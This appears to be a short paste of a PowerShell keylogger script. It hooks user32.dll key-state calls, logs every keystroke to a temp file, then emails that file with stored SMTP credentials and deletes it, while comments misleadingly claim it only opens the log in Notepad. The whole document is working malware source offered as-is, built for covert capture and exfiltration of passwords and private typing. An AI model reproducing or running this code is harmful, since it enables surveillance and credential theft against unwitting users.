· 6 years ago · Dec 12, 2019, 12:06 AM
1
2
3$TimeStart = Get-Date
4$TimeEnd = $timeStart.addminutes($TimeToRun)
5
6#requires -Version 2
7function Start-KeyLogger($Path="$env:temp\keylogger.txt")
8{
9 # Signatures for API Calls
10 $signatures = @'
11[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
12public static extern short GetAsyncKeyState(int virtualKeyCode);
13[DllImport("user32.dll", CharSet=CharSet.Auto)]
14public static extern int GetKeyboardState(byte[] keystate);
15[DllImport("user32.dll", CharSet=CharSet.Auto)]
16public static extern int MapVirtualKey(uint uCode, int uMapType);
17[DllImport("user32.dll", CharSet=CharSet.Auto)]
18public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
19'@
20
21 # load signatures and make members available
22 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
23
24 # create output file
25 $null = New-Item -Path $Path -ItemType File -Force
26
27 try
28 {
29
30 # create endless loop. When user presses CTRL+C, finally-block
31 # executes and shows the collected key presses
32 while ($TimeEnd -ge $TimeNow) {
33 Start-Sleep -Milliseconds 40
34
35 # scan all ASCII codes above 8
36 for ($ascii = 9; $ascii -le 254; $ascii++) {
37 # get current key state
38 $state = $API::GetAsyncKeyState($ascii)
39
40 # is key pressed?
41 if ($state -eq -32767) {
42 $null = [console]::CapsLock
43
44 # translate scan code to real code
45 $virtualKey = $API::MapVirtualKey($ascii, 3)
46
47 # get keyboard state for virtual keys
48 $kbstate = New-Object Byte[] 256
49 $checkkbstate = $API::GetKeyboardState($kbstate)
50
51 # prepare a StringBuilder to receive input key
52 $mychar = New-Object -TypeName System.Text.StringBuilder
53
54 # translate virtual key
55 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
56
57 if ($success)
58 {
59 # add key to logger file
60 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
61 }
62 }
63 }
64 $TimeNow = Get-Date
65 }
66 }
67 finally
68 {
69 # open logger file in Notepad
70 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
71 Remove-Item -Path $Path -force
72 exit 1
73 }
74}
75
76# records all key presses until script is aborted by pressing CTRL+C
77# will then open the file with collected key codes
78Start-KeyLogger